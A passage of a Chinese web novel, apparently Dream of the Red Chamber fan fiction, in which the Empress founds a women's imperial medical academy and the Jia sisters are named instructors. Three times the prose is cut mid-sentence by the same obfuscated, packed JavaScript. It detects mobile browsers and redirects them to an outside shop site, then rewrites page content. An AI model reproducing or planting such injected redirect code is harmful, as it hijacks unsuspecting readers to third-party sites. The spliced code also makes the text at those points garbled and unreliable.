吩咐了宫人把屏风摆到博古架上,皇后亲自到门口去看了看,确认了屏风在架子上进退多深,角度如何。 “对对,再往左偏一点,好,就这样。” 就这样,陛下才能在进殿的第一时间被刺绣上细腻又灿烂的光华晃到眼睛。 当然,就算老天不作美,陛下没有在白日里来,可难道她还不能点灯了? 皇后的小心思没有白费力气。 恰逢十五,皇帝照常来皇后宫里吃饭。 一进殿,果然被余光里某个亮亮的物件提醒了视线。 “这东西倒是别致。”皇帝上前打量着屏风。一开先他还以为是什么奇珍异宝,倒是诧异皇后向来节俭,除了重大场合,平日里并不爱那些繁琐累赘的东西。 可走进了一瞧,这屏风上也没镶金嵌宝,只不过手艺精巧,所以绣出来的图样格外别致罢了。 皇后显得有些不好意思了,微红着脸将东西的来历那么一说,又补充一句:“臣妾实在是爱这手艺巧,花样也格外新鲜,所以才不怕羞地摆出来。” 乍看华丽,实则比起那些金啊玉的并不值什么钱。既能吸引皇帝的目光,又不会突然打破自己这些年来节俭朴素的形象。 所以说白露敬献的这份礼物实在是恰到好处,叫她实在想不出什么理由好拒绝。 听皇后这么一说,皇帝又忍不住细细看两眼。 这一看,反而看出些门道。 绣工针线什么的他不在意,“果真别致,绣的是百鸟朝凤,可这凤凰少了些凌厉傲气,多了些温柔慈爱,庇护百鸟,携老扶幼……” 看着这样的凤凰,皇帝忽然想起皇后这些年打理后宫,上侍奉太后太妃,下关心皇子皇女,中间顾着大大小小的妃嫔让后宫和气安宁,外边还要见那数不清的命妇,在自己顾不上的时候赏赐臣下以示皇恩浩荡,乃至用自己的俸禄资助女医,让京城里女子有病能治。 桩桩件件的操心事,皇后默不作声,实则为自己分担了太多。 皇帝一时感动,再见灯下温柔恬淡的皇后,只觉得内心安宁。 “近来事多,朕倒是好些日子没跟你好好说话了。” 皇帝心里觉得有些愧对皇后,毕竟是少年夫妻,相伴数十载,便是有新宠也不该将皇后抛到脑后去。 皇后温温柔柔地,只拉着皇帝说着宽慰的话,半点不见醋意。再聊,聊御花园里的梅花开了,问皇上可闻到她折了送去的花香了?又聊几个公主最近不知怎么的爱上了绣花,等绣好了就给父皇做几个香袋。还聊小孙子读书都很认真,只是恍惚听说皇帝严格得很,她这做祖母还是想劝劝皇帝,孙子们还小,慢慢教,耐心些,着急有什么用啊…… 皇帝不年轻了,从前爱风流倜傥,如今倒也向往起一家人和和乐乐,得享天伦。 跟皇后聊起家常,听听儿孙们的事,好像朝堂上那些暗流汹涌的纷争一时都远去了。 如今几个儿子也开始各自聚集势力,连带着后宫里皇子的母妃们也各个开始动心思。有时候他看在情分上不忍斥责,可终究觉得烦恼。 到底是皇后,公正宽和,对皇子皇女们都是一样的照顾。 …… 第二天一早送走皇帝,皇后才长舒了一口气。 她只有公主没有儿子,日子过得本就小心,就这样,后宫里还有不长眼睛的仗着儿子明里暗里处处挑衅。 忍倒是能忍,可有时候一味退让一会叫人越发得寸进尺。所以找着机会,皇后还是想反击一二。 而在这深宫里,还有什么比皇帝的恩宠更有力的反击? 皇帝每月十五去皇后宫里不是什么稀奇事,说句不好听的,无非是给皇后个面子。忙着为自己争宠,忙着帮儿子争宠的后妃们都不会在意这点小事。 可等到早朝过后,皇帝流水一般的赏赐送到皇后宫里,后妃们就开始思量,看来对皇后还是得敬着些。 又过了几日,某位有子的妃嫔被皇帝斥责后,聪明人就回过味儿来了。一时间,忍不住冒头的妃嫔们都像鹌鹑一样把脑袋缩了回去。 弹压了妃嫔们的气焰,皇后也不准备再做什么大动作。她虽是后宫之主,可到底没有儿子,于是不论如何也不愿同那些有子的妃嫔们真的撕破脸。 像如今这般能得个尊重,得分安宁便已经很好了。 皇后解决了自己的麻烦,自然不会忘记白露这个功臣。 虽说后宫不得干政,可朝堂上的风向她也不是一点不知道。 看看皇帝如今怎么对贾贵妃的,差不多就快当不知道她这个人了,便知道如今贾家近况不好。 还有就是那两府中的风言风语,她也不是没有听进宫的命妇们当开玩笑般说起过。 于是白露直言想把同族妹子接出来,皇后也非常能理解她的想法。 皇后知道黛玉。虽不怎么入宫,可白露每回来总要说说这孩子平日里跟姐妹们一起给医女启蒙的事。再加上黛玉才貌过人,皇后是怎么也忘不了这小姑娘的。 当时白露当着黛玉的面向皇后提了想叫黛玉开府另居的事,皇后也只是略有诧异,然后就含笑去问当事人,“好孩子,你怎么想?” 黛玉自然是从来没有想过离开贾府,离开大观园的事情。 她一时迷茫,看看皇后,又看看白露,不明白怎么说着说着就说到这件事了? 可白露和皇后都不说话,黛玉心念一转,便也明白了七八分。她脸色一白,低着头道:“虽没有长久赖在舅舅家的道理,可外祖母养我长大,我总该给外祖母尽孝才是。另外园子里还有姊妹们,大家起初也是为了照顾我才不辞辛劳给医女们上课,我若是就这样撇下姊妹们走了,岂不成了反复小人?辜负了姊妹们一片好心。” 皇后和白露就都听明白了,黛玉不是不明事理,可外祖之恩,姐妹之情,哪里是说放就能放的? 宫里妖精看多了,皇后就很喜欢这样知恩图报,友爱懂事的性子。于是越发怜惜黛玉,当时虽没给白露和准话,可也保证了,“且让本宫想想,总能想到法子的。” 如今忙完了自己的事情,皇后就可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13958753|146758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以真的坐下来静静想一想了。 想想怎么样才能既让黛玉在名义上跟贾府切割,又不用真的现在就离开贾府那些她记挂的亲人呢。 皇后想了半下午,等到内务府来汇报的时候,忽然灵光一闪,还真就想出来一个好法子。 于是皇后又特意请了皇帝来,说是有要紧事赏析。 皇帝听得稀奇,“是宫里哪个嫔妃不懂事冒犯你了?” “陛下想哪去了,宫里和和气气的,谁会来冒犯臣妾。”皇后便把宫外她看重的女医、女医同族,也是去了的列侯林家后人林如海之遗孤,以及这小姑娘同宁荣二府的瓜葛这样那样一说,又说了那女医近来的烦恼和所求之事,末了才说自己想出来的办法: “那宁荣二府的男丁虽不上进了些,可家里的姑娘们都是聪慧懂事,又心善体贴的。多少人视大夫为下九流,可她们小小年纪偏能知道女子求医不易,于是拿出闺阁嬉戏的时间来认真给医女启蒙,为她们讲解书中疑难,以求能助更多人。 于是臣妾想着,这般好孩子,若是为家里几个不争气的兄弟子侄就带累的名声,那该多不值。 倒不如臣妾再拿俸禄银子于宫外另辟一座女医院,最好能效仿太医院一般正式开个衙门,多招人手,顺便就给贾家几个姑娘个正经品级,叫她们走出门去也能靠自己身份说话。 再一来,宫外百姓见这女医院如此正经,想来也能多信几分,以后家中妇人有病也不至于再把银子拿去偷偷求那些鬼道神婆。 哎,总之都是臣妾一个人胡乱想的。陛下若是觉得臣妾胡闹,可不许笑臣妾太狠啊。” “你啊,这么多年了,就是一副好心肠,宫里的事你操心不够,人家家里的事你也要搭把手,难怪最近清瘦许多!”说是这么说的,可皇帝眼里却是笑着的。 比起那心思深沉满腹算计的皇后,自然是身边这个心软慈悲,愿意关照臣下家里小姑娘,更能怜惜百姓的更叫人放心。 宁荣二府的男丁,他是不想说了。 至于单辟一个女医院的事,治病救人怎么说都是好事,放到朝堂上去讨论,也不会有哪个不长眼睛的官儿出来参奏一本。 可给女教习和女医们品级……皇帝犹豫了一瞬,最终还是痛快点了头,“女医看诊,跟太医院里的太医看诊是一样的辛苦,给个品级也是应该的,就照太医院行事吧。至于银钱,哪里就要你掏私库了,既是为了百姓,朕明日就让户部拿个章程出来。” 皇后一脸惊喜,“陛下觉得可行?好好好,臣妾就怕给陛下添乱呢!” 谁不喜欢被人这么满心满眼惦记着?皇帝被哄舒服了,事情就格外上心。 皇帝都上心的事,况且又是仁政,那户部依然没有拖拉的道理。 于是一切流程走得顺畅无比。 元宵刚过,白露就在家里收到了朝廷新辟衙门——女太医院太医兼任衙门事务总理的任命。 顺便荣国公府里,管事和丫头婆子们也在到处乱窜。 “快去请老太太、老爷太太们!宫里来人了!有圣旨到!” 35.贾府再接圣旨 这圣旨来得突然。 荣国公府里,正是众人伺候了贾母用早饭,请了安后各自散去的时候。 贾母说晚上没睡好,这会子想一个人清静清静;王夫人照旧去念经;邢夫人窝在屋子里看这个也不爽,那个也不爽;凤姐抱着女儿玩了一会儿,心里盘算着再该往二丫头嫁妆单子里添点什么…… 乍一听闻丫头婆子们匆匆来报,全家上下都急急按品级换起衣服来。 因为圣旨指明了说是要给贾家女眷的,不多时人就全聚在了贾母的园子里。 贾赦不用上朝,早就提前到了地方,忙着满脸堆笑地想同传旨太监套套交情,摸了一个厚厚的荷包塞过去,太监掂量掂量,笑得比贾赦还要灿烂。 “老大人请安心,好事,天大的好事呢!” 太监说是好事,贾赦就安心了些。 一旁有机灵的丫头赶紧把话传到贾母房里,坐在镜子前的贾母就问了:“来的人可眼熟?” 小丫头摇摇头,“并不曾见过。” 来的是陌生的太监,贾母心里就有些嘀咕了。本以为是元春有了好消息,皇家有恩裳,可来的也不是平日里负责给后妃传话的太监,那会是什么好事? 等人聚齐了,太监左右扫一眼,又问了:“怎么不见贵府上小姐们?陛下娘娘这旨意可是特特发给府上贤媛的。” 一石激起千层浪,一句话就炸了贾家这鱼塘! 贾母等人有惶惑,有惊喜,有不知所措,有紧张不安。然而再细问,传旨太监只作高深并不言语。 不会是陛下娘娘看中了家里哪个姑娘,要叫进宫去伺候吧?! 邢夫人又盼着迎春有出息,又盼着千万别是三丫头;王夫人以为是元春下了功夫,如今有了旨意,倒也不怕老爷不情愿…… 一家人慌慌张张地使人去大观园里把家里姑娘们都叫来。不过,虽然太监说了圣旨是给家里姑娘们的,可黛玉身上不大不小也有个爵位,所以一并叫出来,权当充场面了。 至于其余亲戚家的姑娘,如宝钗、湘云、岫烟等,因无旨意召唤,就只能待在园子里等消息。 反倒是宝玉,因着是贾家自己人,便也跟姊妹们一起到了贾母院中。 他跟在黛玉几人身后,满脸愁眉不展,一路长吁短叹,“才劝老爷打消了念头,怎么宫里又有旨意下来。今日过后,只怕这世间又要少几个清静女儿了。” 探春就回过头来笑话他,“二哥哥,如今还不知道陛下和娘娘究竟有何旨意,你怎么就先唉声叹气起来了?说不定我们姐妹中有人另有大造化呢!” 宝玉不再说话,只是摇头。 等几人到了地方,传旨太监见人来得齐整,这才清清嗓子,高声唱旨:“陛下娘娘有旨:悉闻京中诸女子求医不易,今应皇后所请,特设女太太医院,另召慧敏县主林氏、宁荣二府三位贤媛入职女医教习,授正七品官职……” 传旨太监后面说了什么,贾母恍惚中已经听不见了。 她家的姑娘,就成了正经朝廷命官了? 别管是不是女太医院这样听上去又苦又累又边缘的衙门,这可是陛下娘娘亲自下的旨! 正儿八经的正七品! 别瞧这官儿小,便是老二这么多年了也只能在正五品上面打混呢。 再说了,女医教习,又不是要辛辛苦苦亲自去给人看诊,待在屋子里教教书而已,四舍五入也就是女夫子了,再四舍五入,那不就跟在国子监供职一样! 清贵,实在是清贵! 哎哟!老天啊! 重礼送走了传旨太监,关上门来,贾母欢喜的一连声地叫着赏,赏下人们,更要好好的赏几个宝贝好姑娘! “好孩子,好孩子!”贾母一边搂着黛玉,一边抓着迎春,一边心肝心肝地叫着,一边遗憾怎么就中了凤丫头的邪,就这么轻易叫她把迎春说给个开书院的人家了。 虽然也是诗书传家,可毕竟没有功名在身。从前觉得二丫头配这样的人家勉强也还好,可谁知道眨眼间二丫头自己就有了七品官职,这就有些不太合适了。 这般念头只是在贾母脑海中一闪而过,谁知道邢夫人就这样当着全家人的面直接嚷了出来。 “我说凤辣子年轻没经过大事,那开书院的人家家底子再厚实也不过一家子白身,如今二丫头这个陛下娘娘亲自封的七品教习去配他家,这岂不是亏大了!” 这样的话在心里想想也就罢了,岂是能这么大咧咧直接说出来的。 迎春脸上的笑立刻就没影了,便是贾母也一脸不快道:“大好的日子,又在这里说糊涂话!定好了的亲事还要反悔,传出去不是叫人笑话,说咱们家没见过世面,才有了一点子出息心就飘到天上去了。” 邢夫人往常十句有八句都讨不了好,可偏偏不长记性,这回挨了说,下回还是藏不住话。本想挤兑凤姐两句,可谁知道又挨了老太太的没脸,邢夫人面子上挂不住,只能怏怏闭嘴。 凤姐时不时地被邢夫人挑刺,此刻见她吃瘪,心中难免暗笑。 还是宝玉出来帮忙打圆场,直接岔开话题道:“如今家里姐姐妹妹们也算是学有所成,学以致用了。这天大的好事本该好好庆贺庆贺,可圣旨上说了叫姐妹们下月初一就去赴职,如今不过小半月功夫,这外出随行的人手、车马、一应用具该是怎么个安排?” “老太太瞧!”凤姐这时候才开口,“往常宝兄弟最是个闲云野鹤之人,可如今姊妹们有了官职,他也就跟着用心起来了,这么细心周到,竟是我们这些成日里待在家里的人想不到的!” 凤姐心知宝玉不喜宦官之词,故而并未说什么宝玉将来必然也跟姊妹们一样,有朝一日定会金榜题名之类的话。 可说他能想到“成日里待在家里的人想不到的”这番 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13973085|146758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话,听在贾母和王夫人耳里,其实就等同于夸赞宝玉同样有在外面的大事上用心。 贾母和王夫人果然喜笑颜开,又将宝玉夸了又夸,心里更是期待着他哪天真的金榜提名,荣耀归家! 眼看老太太和太太都去关心宝玉,最年幼的惜春自知没自己的事了,便起身告辞,“虽陛下娘娘看重,可我这心里惶恐得很,想来还是早些回去好好准备准备,免得到时候当着一群人的面儿一个字也讲不出来,反而叫人笑话。” 对啊! 贾母等人这才想起家里几个姑娘从小到大几乎也是大门不出二门不迈的,平日在园子里做起诗,写起文章来一个比一个厉害,可这要是出了门,当着那么多生人的面,敢不敢说话还真不一定呢。 “快去,快去。”贾母等人又着急起来,“统共也就十一二天的功夫了,这几句离你们旁的不要操心,多在书案上下下功夫才是!到时候可万万不能丢了咱们家的脸面!” 是啊,家族的脸面。 姐妹几个甩下宝玉先回了园子,一起聚在黛玉的潇湘馆里说话时,探春就说了:“林姐姐,不管家里其他人怎么想,如今我只谢你,谢白姐姐,若不是你们,陛下和娘娘哪里会理会我们几个小丫头。你放心,以后不管如何,便是叫我嫁了人,我也必定不会撇下我们的事业。” 黛玉就笑,“谁不知道我们三妹妹是个顶天立地不慕荣华的女中豪杰?今儿这番话大家都听见了,可要一起做个见证,要是以后食言了,咱们再来羞她。” 迎春一路安静,心里想的本就是不知道将来夫家许不许她出来抛头露面。开书院的人家,家里大概格外守规矩;可再一想,她做医女教习勉强也算得上传道授业解惑,更何况出入面对的都是女子,将来夫家若是通情达理,想来也不会阻拦她?可要是夫家让她打理家务,伺候公婆又该如何?万一有了孩子?一日日不着家好像也不好…… 迎春心里乱糟糟的,各种念头轮番登场,真是谁都有道理。正举棋不定间,却忽然听探春说出这样一番话来。 于是迎春愣愣看着探春,只觉得惊雷入耳,头晕目眩之后,心中却如乌云尽散,霎时一片开朗。 真厉害。迎春心想,三妹妹这样刚强的性子,想什么就敢说什么做什么,必然是不怕别人要对她指手画脚的。 连老太太、太太都拿她没法,老爷都能被她说得保证不干那献女求荣的事,以后自然也不会管夫家怎么想。说不得,以后三妹妹的夫家也要看她的眼色呢。 这时候,之前还隐隐有些闷闷不乐的惜春也开口了,她年纪最小,远不到什么考虑夫家高不高兴的时候,此时便道:“那咱们就说好了,以后一起好好教书,不求青史留名,只求不辜负咱们姐妹的情谊,对得起自己的心。” 见此迎春也赶紧开口:“一定!那我们可就说好了,以后不管怎样,谁也不许半途跑了!” 36.迎春有心自做主 俗话说雷霆雨露皆是君恩。皇宫里发来的轻飘飘一道圣旨,刹那间就在贾府掀起一阵风暴。 如贾母自然是为孙女们的宫中看重感到高兴;如贾赦贾政之人,虽遗憾出头的不是家中男丁,却也同样与有荣焉。而邢夫人、王夫人等人,虽心中各有不如意之处奈何是无法言表,只能暗自忍耐。 至于下人们,有那脑子灵活的,立刻想到这姑娘们都出门当官儿了,那以后也该有专人负责车马,负责随行伺候充排场,甚至是不是书房里还要再多安排几个识字的丫头?官老爷们的事情他们不懂,可府里正经当差的二老爷可是养着一堆清客相公呢! 如此一想,有心人便钻营了起来。 只是这钻营也要找对地方,从前府里头大小事情都要经二奶奶点头才行得通,要谋个好去处就得往二奶奶屋里使劲儿。 现在二奶奶退后了一步,园子里的事该大奶奶和三姑娘说了算。然大奶奶是个泥菩萨,管他有事没事是打定主意不张嘴的。 有心人又一想,这伺候姑娘们,当然得讨姑娘们喜欢才行。讨了姑娘们喜欢,姑娘们再亲自开口要人,只要不是那眼歪嘴斜腿瘸脑残的,老太太太太们也没有不应允的道理。 园子外面的人纷纷找了自己的老娘老婆老姑妈亲姐姐干妹妹大小侄女,只要是在姑娘们房里伺候的,管他平日里能不能跟姑娘们说得上话,总之先把大事托付了! 然而托付了又如何,也得真的见到姑娘的面才有机会吹耳旁风不是? 如黛玉、探春这样屋里从来管得井井有条的,几个大丫头们自己就把事情处理好了。有什么要说的也别急着往姑娘面前凑,把名字报上来,她们先看过了再同姑娘说。 如惜春这样的,便是凑到她耳边喊也没用。 反正惜春听了也只是听了,听完了就把事情一推,“我年纪最小,你同我说这些又有什么用?有这闲工夫,不如去问老太太、太太准不准。” “倒是二姐姐,我倒是怕她又被那些人缠上。”探春同黛玉下棋时忽然说起这桩事,当下就有些坐不住,想去迎春那里看看。 黛玉也知道迎春性子软,于是便起身同探春一起往紫菱洲走。 谁知刚一进门就瞧见几个小丫头仿佛见了救星一样,“两位姑娘来得正好,我们姑娘发了好大脾气,还得两位姑娘劝劝才是。” 探春就笑,“能惹得二姐姐这么个好性的人都发了脾气,你们这是犯了多大的事?” 小丫头脸一红,话也说不利索了,“哪里有什么大事,不过是外边几家的嫂子来给二姑娘请安,说了几句话而已……” 不用小丫头说清楚,探春和黛玉立刻就知道发生了什么。 两人还当迎春是被这些人逼急了不知道怎么办才好,本忙着去帮忙,谁知道迎春不但没有被人挤兑的说不出话来,反而把地下站着的一群人说得抬不起头。 “……你们在我这里素来也是随便惯了。”迎春不说来人,只说自己屋子里的奶妈丫头们,“想歇就歇,想出去逛就出去逛,想找人吃茶喝酒,想拿东西去换了赌钱,从前我看在你们辛苦伺候一场的份上一向也不多说什么,如今却知道到底是放纵了你们。今儿能让人招呼也不打一声就往我屋子里闯,赶明儿有了出息,岂不是更要放人往老太太、太太屋里闯了?” 丫头们不说,迎春的奶妈却是个憋不住话的,当下就要辩解,“姑娘这话说得严重。这几个嫂子家的男人都在大老爷跟前当差,可是信得过,今儿也是想着姑娘有了大出息,特特来给姑娘道喜的。” 迎春冷着一张脸,“这意思,竟是说我不识好歹了?” 奶妈妈一时语塞,“这,姑娘怎么这般想呢。” 迎春也不跟她拉扯,见探春来了,便指着一群人说道:“管家的人来了,正好这里有人犯了事,该说说该罚罚,按规矩办就是。” 探春乐得跟迎春配合,眼睛一扫就把人记住了,“还愣在这里做什么,等着二姑娘亲自送你们不成?” 一群人到底是怕探春,见她来了便纷纷偃旗息鼓,忙不迭走了。 迎春绷着的脸这才放松下来,她苦笑一声,“你们是没瞧见这些人方才的厉害。这个想为她儿子求车夫,那个想送她女儿到我书房里伺候,甚至还有几家人为了一个位置自己先吵起来的。”说着便摇了摇头,“真带着这些人出门去当差,别叫病人先笑死在我面前。” 探春和黛玉才不说那扫兴的话,都围着迎春夸她如今真真厉害了,“二姐姐就该这样,你如今也是正儿八经的朝廷命官,有什么事只管按自己心意来,哪里用得着处处由别人指挥。” 了结了迎春这边的麻烦事,探春才去找王夫人。 她想得很清楚,原本因为二嫂子称病,她才被老太太和太太托付了大观园园中之事,虽隔上几日便要轮换着教导医女们读书习字,但毕竟事务不多,两边齐抓住也无妨,可如今却是顾不上了。 “前些日子承蒙太太看重,让我多经历练,而今既已领了朝廷圣旨,以后就要日日出门当差,所以特特来太太这里交割清楚。”探春说完又笑道,“日后园子里得麻烦大嫂子多多照看了。” 王夫人先前只想着宝玉何时也能被圣旨授官,哪里有心情考虑其他事情。如今被探春这么一提醒,才反应过来牵扯的事还多着呢。 她顿了顿,先夸了探春细心,桩桩件件,千头万绪都理得清楚,然后才似深思熟虑般说道:“你大嫂子性子向来和气,先头有你在旁边盯着还好,若是就这样叫她一个人顶上去,保不齐家里那些下人们一个二个当面一套,背地里一套的糊弄她。依我看,还是另外再找人帮衬一二,也免得出了什么岔子,连带怠慢了园子里的亲戚姑娘们。” 探春早料到王夫人这般说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14010057|146758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辞,当下只连声应是,把自己手头的事物交割完了就走。至于王夫人究竟还想找谁来帮衬,她虽心里好奇,却也知道这时候还是不要随意打听得好。 反正左不过也就是那么些人。 “啊?宝钗?”被王夫人找上门的薛姨妈一脸吃惊,“这……怕是不合适吧。” 虽是再亲不过的亲戚,可这府里又不是没人,哪里有好端端让亲戚家的姑娘去管着姨妈家内宅的道理。 薛姨妈满口推辞,只说宝钗年轻脸嫩,经不起这样的托福。 “好妹妹,你也知道我的心。”王夫人又试图旧事重提。 然而薛姨妈一听这熟悉的调调就忍不住浑身一抖。 可别了! 她这姐姐,从来嘴上说得好听,却半点不见行动。三番两次暗示她看好宝钗,可从前姐夫出门赴任也就罢了,如今人都回来了,却依然没说两家商量着把两个孩子的亲事正经定下来的话。 从前她还有些想头,如今也是彻底看透了。 这会子拉着宝钗管园子里的事也不过是想防一手大太太,怕她管着管着就真收买了人心,以后拿捏不了罢了。 这费力不讨好的事谁爱干谁干,反正她家不干! 只是薛姨妈也不敢直接说她家已经悄悄看好了宅子,就等着忙过贾敬丧事,薛蟠回来后就全家搬走,于是咬定了宝钗担不起如此重任,一个劲推李纨出来,“大奶奶怎么说也是个稳重人,园子里又差不多都是些姑娘,照顾小姑子而已,能费得了多大的功夫?姐姐细心,可实在用不着太紧张。” 薛姨妈怎么也不接话茬,王夫人无可奈何,左看右看也找不出更合适的人来,只能叫李纨继续看着园子。 接到消息的李纨心中一喜。想她从前也是极有心气的人,到了国公府做媳妇,想的便是上上下下都要应对周到,相夫教子,一生荣耀。 奈何命运无常,只能蹉跎岁月。 如今好容易有了一个人打理园子的机会,可李纨却不再如当年那般一心想着怎么妥帖处事了。现在儿子才是她唯一的指望,至于其他人,哼,没一个靠得上! 李纨一心扑在贾兰身上,操心他吃喝学业,便是有闲暇,又还有两个娘家侄女等着关照。 再说,她也知道王夫人不放心她。于是虽然名义上管着园子,可若有大事,便等着王夫人给宫里老太妃守了灵回来裁决;若是寻常小事,便叫管家娘子们按照往常的旧例处置;至于这里少了东西,那里有人吵嘴,这般琐碎麻烦、费力不讨好只会给她招王夫人说的,李纨就干脆眼睛一闭,耳朵一堵,只作不知,“哪里有问题,就叫管那处的人自己处置了便是。难不成什么都要等着我来?” 一天两天的,看上去倒跟从前一样的太平模样。 可就在家里的凤姐和薛姨妈就摇头,“这般下去,说不得什么时候便闹出大事来了。” 37.白露大发招生广告 女太医院正式开门了。 就像从前男大夫们当家的太医院一样,如今的女太医院也是向皇室宗亲、达官贵人们开的。 然而女太医院又跟太医院不太一样。太医院里有一串大大小小的太医,平日里贵人们哪里不舒服了,只管吩咐下人去请平日里最熟悉、最放心的太医上门看诊。 到了白露这里,不好意思,能扛事,大家也放心的就只她一个。一个人是不可能花刀劈成丝来一家飘去一丝的,于是有病没病,只要你想找白太医看看,那就自己上门。 都是老规矩了,京中贵人们也不觉得奇怪。 况且内宅女眷们平日里难得出门透气,往常有些迂腐人家,就连家里女人上白露从前的小医馆都忍不住说道两句,嫌弃抛头露面什么的。 如今陛下都正式下旨让建女医馆了,谁再来叽歪试试?有这名正言顺的机会,大家面上说些体谅白太医辛苦,显得自己宽厚大度的话,心里却一个比一个乐意。 这出门去女太医院,没轮到自己的时候不能干等着吧? 反正地方大,是不是能正经喝杯茶,吃些果点,跟邻桌说说话?女太医院里的院子也不小,要是能摆些花花草草,是不是就更赏心悦目了? 白露觉得这些贵妇们就差搭个台子叫戏班子来唱戏了。 贵妇官眷们高兴了,京里的百姓就担心了。 晴雯目前打工那家的绣楼女掌柜就悄悄问了:“妹子如今也是贵人了,那以后这医馆……” 都说人往高处走,女掌柜扪心自问,换做是她,她肯定也要把一颗心放在朝廷的差事上。 至于巷子里的医馆,唉,顾不上,实在是顾不上。懂的,大家都懂。 可是话又说回来,如今接朝廷差事的又不是她,她一个平头老百姓,自然还是盼着巷子里的医馆能一天天好好开门做生意。 要不然大家病了又不方便请男大夫看时,又该到哪里去请这么医术高明且收费便宜的女大夫呢? 白露就给上门打探的街坊熟人们说:“陛下娘娘特特开了女太医院,自然是因为心疼天底下女人看病不易。这女太医院不单单是开给达官贵人们的,更是开给京城里所有百姓的。我那医馆地方小,人手也少,也是多亏了大家伙的心意支持才有余钱四处帮衬。如今女太医院有朝廷拨的银子,这有了钱,以后办事不就更方便了?” 白鹿可不是那种吃饭砸锅的人。知道皇后娘娘是别有用心,可既然得了人家的支持,该吹的还是要好好吹才行。 歌功颂德一番,白露才接着道:“姐姐们也知道我从前收了些女弟子,现下陛下娘娘特特下了圣旨,给国公府里的小姐们封了女教习,又给这些女弟子们正儿八经地授了女学徒,如今吃住都由女太医院包了,一个月还有半吊钱的俸禄。学得好,以后便如我这般能当女太医。我的意思是,要是大家家里有那伶俐姑娘,想学点本事的,不妨都送去女太医院试试,万一以后有大出息,跟儿子一样封官呢!” 世人莫说瞧不上走街串巷的江湖郎中,便是正经开店坐台的大夫恐怕也难得有几分尊重。毕竟是下九流的行当,有办法的人家谁会送子弟去干这个。 可太医院又不一样了。人家也是朝廷命官,跟其他坐轿子的大人们一样拿朝廷俸禄,穿官袍戴官帽,寻常人莫说请一请,便是那太医院门槛子都不会让你有机会踩一脚。 现在白鹿竟然告诉她们能把自家姑娘也送去女太医院学习,一群人顿时就忘了其他,七嘴八舌地问了起来。 “我家丫头今年五岁,平时干活可利索了,妹子收是不收?” “五岁能顶个什么用?叫她认字她能认几个,去了也只知道吃干饭,倒是我家侄女今年十岁了,打小就爱读书,字是早就学了几百个了。” “去去!”旁边立刻有人就拆穿她,“你家侄女会拨两个算盘,记两笔账就叫识字了?叫她杀两只鸡都不敢,还指望她往人身上扎针?” “这杀鸡是屠夫的活,关当大夫的什么干系?再说了,谁规定的当女大夫就必须学扎针?便是不学这个,单学抓药不行吗?” 吵吵闹闹的,恨不得立刻飞回家把家里姑娘带来,直接塞给白露让她现在就带走。 白露赶紧解释:“眼下女太医院也才刚收拾着呢,教习也不多,光是这第一批的女弟子就够她们忙的了。我现在先同嫂子们说一说,叫大家心里有个数,回家提前商量商量,便是真打算送姑娘走这条路,女太医院那里也得等到过完年才能正式招人呢。” 这话倒是。 一群人又嘀咕开了,担心自家姑娘学不好的,担心自家姑娘未来夫家不让干的,还有担心自家姑娘从小送去学了,等学成了嫁了人,这好处岂不是全便宜夫家了的? 各种各样的烦恼,总之还是得先回家好好同家里人商量一番。 如今都说女人要温良恭俭,待在家里相夫教子才好,白露实在没想到大家的积极性会这么高。 回家一想,大概还是那每月半吊钱的俸禄的诱惑吧。 只要能挣钱,谁还管那些穷酸文人怎么说? 另外之前白露同宝钗调查过京城里的女性医疗市场,发现这简直一片蓝海! 从母婴护理到女童儿科,再到全科医疗以及特色妇科病治疗,寻常男人看不见这些,可看不见不代表问题不存在。 更别提大街小巷的劳动妇女,有常年做精细绣活伤了眼睛的,有半辈子扑在织机前累坏了腰的,有劈柴打水不知不觉间这里痛那里也痛的,还有纯粹生育多了被孩子吸干了的…… 这些人的病痛一时不要命,于是就更无人理会。然而若是可以,谁愿意受这长年累月的折磨? 只是会患上这些“职业病”的都是家里不宽裕,需要拿命挣钱的人家。日子都过得这样难了,怎么可能拿出闲钱隔三差五地去医馆理疗? 迎春倒是好心,二话不说就愿意把自己当教习的一年的禄米布帛银钱收入全部捐出来。 可探春按住了她,“二姐姐这样善心,我们姐妹本也自当追随。可光我们姐妹的俸禄又有多少?京里乃至天底下的贫寒人家的女人又有多少?我们这点钱拿出来也不过是杯水车薪罢了。” 惜春就问:“若是能劝来女太医院看诊的达官贵人们捐些心意,可行?” “恐也不妥。”黛玉想了想就摇头,“寻常人有一时仁心不难,可谁能保证有一世仁心?” 惜春忽然想起什么,噗嗤一下笑出声来。 姊妹几个就看着她 